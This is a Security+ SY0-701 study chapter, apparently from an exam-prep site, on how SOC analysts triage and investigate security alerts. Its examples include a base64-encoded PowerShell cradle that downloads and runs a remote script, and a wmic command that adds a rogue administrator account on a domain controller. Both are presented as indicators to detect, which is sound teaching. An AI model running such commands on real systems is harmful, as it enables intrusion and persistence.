This chapter covers alert triage and investigation, a core skill for Security Operations Center (SOC) analysts and a key objective for the SY0-701 exam (Objective 4.8). You will learn how to effectively prioritize, analyze, and respond to security alerts in a structured manner. Understanding this process is critical for minimizing dwell time and preventing breaches. By the end, you'll be able to distinguish between true and false positives, apply triage methodologies, and conduct efficient investigations using common tools and techniques.
Jump to a section
Imagine a busy emergency department (ED) on a Saturday night. Patients arrive with various complaints: chest pain, a small cut, a fever, or a possible stroke. The triage nurse is the first point of contact. They cannot treat everyone at once; they must quickly assess each patient's severity, prioritize, and route them appropriately. The nurse uses a standardized system (e.g., the Emergency Severity Index, ESI) to assign a level from 1 (most urgent) to 5 (least urgent). A patient with crushing chest pain and shortness of breath gets ESI 1—immediate, life-threatening. A patient with a minor abrasion gets ESI 5—can wait hours. The nurse doesn't diagnose; they identify red flags (e.g., abnormal vital signs, specific symptoms) that indicate high risk. Similarly, a security analyst in a SOC triages alerts. Alerts come in from various sources: SIEM, IDS/IPS, EDR, firewall logs. The analyst cannot investigate every alert deeply; they must quickly assess severity, prioritize based on potential impact, and escalate or dismiss. The analyst uses a triage system (e.g., priority 1-4) based on factors like asset criticality, alert type, and threat intelligence. They look for 'red flags'—indicators of compromise (IOCs), known attack patterns, or anomalous behavior. Just as the triage nurse might order an EKG for chest pain, the analyst might query the SIEM for related logs. Both must act fast, document their decisions, and hand off to specialists (e.g., incident responders) for complex cases. The analogy is mechanistic: both roles use a structured process to filter noise, identify true emergencies, and allocate limited resources effectively.
What is Alert Triage?
Alert triage is the process of prioritizing and categorizing security alerts based on their potential severity and impact. In a SOC, analysts are flooded with thousands of alerts daily from SIEMs, EDRs, NIDS, and other tools. Triage ensures that the most critical threats are addressed first. It is the first phase of incident response, occurring before formal escalation to an incident responder.
The Triage Process: Step by Step
1. Alert Collection and Normalization: Alerts from various sources are aggregated into a SIEM or SOAR platform. Normalization converts different log formats into a common schema (e.g., CEF, JSON). 2. Initial Filtering: Automated rules suppress known false positives (e.g., a vulnerability scanner causing IDS alerts). The SIEM may also apply correlation rules to reduce duplicate alerts. 3. Severity Assignment: Each alert is assigned a severity level (e.g., low, medium, high, critical) based on factors like: - Asset criticality: Is the target a domain controller, database server, or a test machine? - Alert type: A malware detection is typically higher than a failed login. - Context: Is the alert triggered by a known threat actor technique (e.g., MITRE ATT&CK Tactic)? 4. Manual Review: Analyst opens the alert, reviews raw logs, and determines if it is a true positive (TP), false positive (FP), or benign true positive (e.g., authorized penetration test). 5. Enrichment: The analyst gathers additional context: WHOIS, VirusTotal, threat intelligence feeds, user activity history. 6. Decision: Based on the analysis, the alert is either: - Closed as FP or non-malicious. - Escalated to tier 2/3 incident response. - Monitored for further activity.
Key Components and Standards
SIEM (Security Information and Event Management): Centralized logging and alerting. Examples: Splunk, ELK Stack, Azure Sentinel.
SOAR (Security Orchestration, Automation, and Response): Automates repetitive triage tasks. Example: Palo Alto Cortex XSOAR.
MITRE ATT&CK: Framework for categorizing adversary behaviors. Used to map alert techniques (e.g., T1078 – Valid Accounts).
CVE (Common Vulnerabilities and Exposures): Standard for vulnerability identification. Alerts may reference CVEs.
IOC (Indicator of Compromise): Forensic evidence of a breach (e.g., file hash, IP, domain).
Diamond Model: Framework for intrusion analysis: Adversary, Capability, Infrastructure, Victim.
How Attackers Exploit Triage Weaknesses
Alert Fatigue: Attackers generate noise (e.g., port scans) to hide a targeted attack. Analysts may miss the real threat.
Living off the Land: Using legitimate tools (PowerShell, WMI) to avoid triggering signatures. Triage must focus on behavior, not just signatures.
Timing: Attacks during shift changes or weekends when triage is less thorough.
Defenders' Deployment of Triage
Playbooks: Standard operating procedures for common alerts. Example: 'Phishing Alert Playbook' includes steps to check email headers, sandbox links.
Automation: SOAR can automatically enrich an alert (e.g., query VirusTotal) and assign a priority.
Training: Analysts are trained on triage methodologies (e.g., SANS PICERL: Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned).
Real Command/Tool Examples
- Splunk query to find all alerts from a critical server:
index=security sourcetype=alert host=DC01 | table _time, signature, severity- VirusTotal API lookup for a hash:
curl --request GET --url 'https://www.virustotal.com/api/v3/files/275a021bbfb6489e54d471899f7db9d1663fc695ec2fe2a2c4538aabf651fd0f'- Zeek (Bro) log example for a suspicious connection:
1612345678.123456 10.0.0.5 192.168.1.100 12345 80 TCP SYN 0x2 0x0- Sysmon event ID 1 (process creation):
<EventData>
<Data Name="CommandLine">"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMQAwAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQA=
</Data>This is a base64-encoded PowerShell download cradle, a high-severity indicator.
Investigation Techniques
Pivot from IOC: Start with an IP, find all logs involving that IP within a timeframe.
Timeline Analysis: Create a chronological sequence of events to understand the attack chain.
Root Cause Analysis: Identify how the initial compromise occurred (e.g., phishing, unpatched vulnerability).
Binary Analysis: For malware alerts, examine the file in a sandbox or disassemble it.
Common Triage Mistakes
Ignoring context: A firewall deny log is often low priority, but if it's the CEO's workstation trying to connect to a known C2 server, it's critical.
Over-reliance on severity scores: Default severity may be wrong. Always re-evaluate based on environment.
Not documenting: Skipping notes makes escalation and post-incident review difficult.
Triage Metrics
MTTD (Mean Time to Detect): Average time from compromise to alert.
MTTR (Mean Time to Respond): Average time from alert to containment.
False Positive Rate: Percentage of alerts dismissed as FP. High rate indicates poor tuning.
Alert Volume per Analyst: Must be manageable to avoid burnout.
Receive and Acknowledge Alert
The analyst sees a new alert in the SIEM queue. They acknowledge it to indicate they are handling it. The alert contains metadata: timestamp, source IP, destination IP, signature ID, severity, and asset name. For example, a Snort alert might show 'ET POLICY Suspicious Outbound Connection to External HTTP Server on Port 443'. The analyst notes the time and ensures they are not duplicating work.
Initial Assessment and Severity Check
The analyst assesses the alert's severity by looking at the asset criticality. Is the destination a domain controller? Is the source a public-facing web server? They check the alert type: a malware detection is high priority; a port scan is low. They also consider if the alert is part of a known campaign (e.g., using threat intel). For example, if the alert involves a connection to a known malicious IP from a critical server, severity is raised to critical.
Gather Context and Enrich Data
The analyst queries the SIEM for related logs 15 minutes before and after the alert. They look at firewall logs, proxy logs, DNS logs, and authentication logs. They use threat intelligence platforms (e.g., VirusTotal, AlienVault OTX) to check the IP, domain, or hash. They also check the user's recent activity: did they click a phishing link? They document findings: the IP resolved to a domain registered 2 days ago, and the file hash has 10/60 positive detections on VT.
Determine True Positive vs False Positive
Based on gathered context, the analyst decides if the alert is a true positive (malicious activity) or false positive (benign activity triggering a rule). For example, a rule that alerts on 'powershell.exe making network connections' may fire for legitimate admin scripts. The analyst checks if the process command line matches known administrative tasks. If it's a false positive, they may add an exception or tune the rule.
Escalate or Close the Alert
If it's a true positive, the analyst escalates to the incident response team with a summary: type of threat, affected assets, IOCs, and recommended containment steps (e.g., isolate host, block IP). If it's a false positive, they close the alert with a reason and optionally update the rule. If uncertain, they may escalate to a senior analyst or place the alert in a monitoring state.
Scenario 1: Phishing Alert in a Financial Institution
A SOC analyst receives a SIEM alert: 'User clicked malicious link' from the email security gateway. The user is from the finance department. The analyst opens the alert; the email headers show the sender is external, and the link points to a domain 'secure-bank-login.com'. The analyst checks the domain on VirusTotal: it's 2 days old and flagged as phishing. They also check the user's recent activity: the user logged in to the actual bank website 10 minutes later (likely after the phishing link). The analyst escalates as a true positive, recommending password reset and host isolation. Common mistake: dismissing the alert because the user didn't enter credentials immediately; however, the user may have saved them in the browser.
Scenario 2: Lateral Movement Detected in a Healthcare Network
An EDR alert flags a process 'wmic.exe' executing on a workstation with a remote command to a server. The analyst checks the workstation: it's a nurse's station. The command is 'wmic /node:DC01 process call create "cmd.exe /c net user admin2 Passw0rd! /add"'. This is a clear lateral movement attempt. The analyst isolates the workstation and checks the server for any new accounts. They find 'admin2' created on the domain controller. They escalate to incident response. Common mistake: assuming wmic is only administrative use; but in this context, it's malicious.
Scenario 3: DDoS Alert at an E-commerce Company
A firewall alerts on high traffic volume to the web server. The analyst sees traffic from thousands of unique IPs, all hitting the same URL path. The traffic pattern is consistent with a volumetric DDoS. The analyst immediately contacts the ISP for mitigation and enables rate limiting on the web application firewall (WAF). They also check if the traffic is from known botnets using threat intel. Common mistake: trying to manually block IPs; this is ineffective for DDoS. The correct response is to engage upstream mitigation.
What SY0-701 Tests on Alert Triage and Investigation
Objective 4.8 specifically asks you to 'explain the importance of alert triage and investigation.' The exam focuses on: - Triage process: steps, prioritization factors, and the difference between true/false positives. - Tools: SIEM, SOAR, EDR, threat intelligence platforms. - Metrics: MTTD, MTTR, false positive rate. - Frameworks: MITRE ATT&CK, Diamond Model, Cyber Kill Chain. - Common mistakes: alert fatigue, ignoring context, over-reliance on automation.
Common Wrong Answers and Why
'Always escalate all alerts': Wrong because it leads to analyst burnout and wastes resources. The triage process is designed to filter false positives.
'False positives are harmless and can be ignored': Wrong because a false positive may indicate a misconfigured rule that could miss real threats. They should be tuned, not ignored.
'Severity is determined solely by the SIEM': Wrong because the SIEM lacks context of asset criticality and business impact. Analysts must re-evaluate.
'Triage is the same as incident response': Wrong; triage is the initial assessment, while incident response is the full handling of a confirmed incident.
Specific Terms and Values
PICERL: Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned.
Diamond Model: Adversary, Infrastructure, Capability, Victim.
MTTD: Mean Time to Detect (aim for minutes/hours).
MTTR: Mean Time to Respond (aim for hours).
CVE: Common Vulnerabilities and Exposures (e.g., CVE-2021-44228).
Trick Questions
'Which step comes first in triage?' The answer is 'Initial filtering' or 'Receive and acknowledge', not 'Escalate'.
'Which tool is used to automate triage?' SOAR, not SIEM (SIEM is for aggregation, SOAR for automation).
'What is the primary goal of triage?' Prioritization, not investigation (investigation follows triage).
Decision Rule for Eliminating Wrong Answers
If a scenario asks what to do first with an alert, look for the option that involves quick assessment or enrichment, not immediate escalation or closure. Eliminate any answer that suggests ignoring the alert or changing the rule before analysis. Also, avoid answers that conflate triage with incident response phases like containment.
Alert triage is the process of prioritizing and categorizing alerts based on severity and potential impact.
The goal of triage is to quickly identify true positives and filter false positives, reducing analyst workload.
Key factors in triage: asset criticality, alert type, threat intelligence, and context from related logs.
Common tools: SIEM (e.g., Splunk), SOAR (e.g., Cortex XSOAR), EDR (e.g., CrowdStrike), and threat intelligence platforms.
Metrics: MTTD (Mean Time to Detect) and MTTR (Mean Time to Respond) measure triage effectiveness.
Frameworks: MITRE ATT&CK, Diamond Model, and Cyber Kill Chain help classify and analyze alerts.
False positives should be documented and used to tune detection rules, not ignored.
Triage is distinct from incident response; triage is the initial assessment, incident response is the full handling.
Common mistakes: alert fatigue, ignoring context, over-reliance on automation, and failing to document.
For the exam, remember the steps: receive, assess, enrich, determine, escalate/close.
These come up on the exam all the time. Here's how to tell them apart.
SIEM
Aggregates and normalizes logs from multiple sources
Generates alerts based on correlation rules
Provides dashboards and reporting
Primarily a detection and monitoring tool
Example: Splunk, Azure Sentinel
SOAR
Orchestrates automated responses to alerts
Enriches alerts with threat intelligence
Executes playbooks for common scenarios
Primarily an automation and response tool
Example: Palo Alto Cortex XSOAR, Splunk Phantom
Mistake
Triage is only for large SOCs with many analysts.
Correct
Triage is essential for any organization that monitors security alerts, even a single analyst. It ensures the most critical threats are addressed first, regardless of team size.
Mistake
False positives are always harmless and should be ignored.
Correct
False positives indicate a rule that is too broad or misconfigured. They can mask true positives if not tuned. Analysts should document and adjust rules to reduce noise.
Mistake
A high severity score from the SIEM means the alert is definitely a true positive.
Correct
Severity scores are based on generic rules and lack context. An analyst must verify by checking asset criticality, threat intelligence, and environment specifics.
Mistake
Triage and incident response are the same process.
Correct
Triage is the initial assessment and prioritization of alerts. Incident response begins after a true positive is confirmed and involves containment, eradication, and recovery.
Mistake
Automation in SOAR eliminates the need for human triage.
Correct
Automation handles repetitive tasks and enrichment, but human judgment is still required for complex or ambiguous alerts, especially those involving novel attacks.
A false positive is an alert that incorrectly indicates malicious activity when none exists (e.g., a legitimate admin script flagged as malware). A true positive is an alert that correctly identifies actual malicious activity (e.g., a known C2 connection). In triage, analysts must distinguish between them by gathering context. For the exam, remember that false positives are not harmless; they indicate tuning is needed.
The first step is to receive and acknowledge the alert. This ensures the analyst is aware of it and prevents duplicate work. Then they perform an initial assessment of severity and asset criticality. On the exam, do not choose 'escalate' or 'close' as the first step.
SOAR automates repetitive tasks such as enriching alerts with threat intelligence, querying databases, and executing predefined playbooks. This reduces the time analysts spend on manual steps, allowing them to focus on complex decisions. For example, a SOAR platform can automatically check an IP against VirusTotal and update the alert severity.
MITRE ATT&CK provides a common language for describing adversary techniques. Analysts can map alert signatures to specific techniques (e.g., T1078 for valid accounts). This helps in understanding the attack stage and potential impact. On the exam, know that ATT&CK is used for classification, not for real-time detection.
Alert fatigue is caused by a high volume of false positives or low-severity alerts. Analysts become desensitized and may miss critical alerts. To reduce fatigue, organizations should tune detection rules, use threat intelligence to filter noise, and implement automation for low-level triage.
Triage is the initial assessment and prioritization of alerts. It occurs before a confirmed incident. Incident response begins after a true positive is identified and involves containment, eradication, and recovery. In the incident response lifecycle, triage is part of the 'Identification' phase.
Asset criticality determines the potential impact of a security event. An alert on a domain controller or database server is more urgent than one on a test machine. Analysts must know the business value of assets to prioritize correctly. On the exam, look for questions that mention 'critical server' or 'CEO's workstation' to indicate high priority.
You've just covered Alert Triage and Investigation — now see how well it sticks with free SY0-701 practice questions. Full explanations included, no account needed.
Done with this chapter?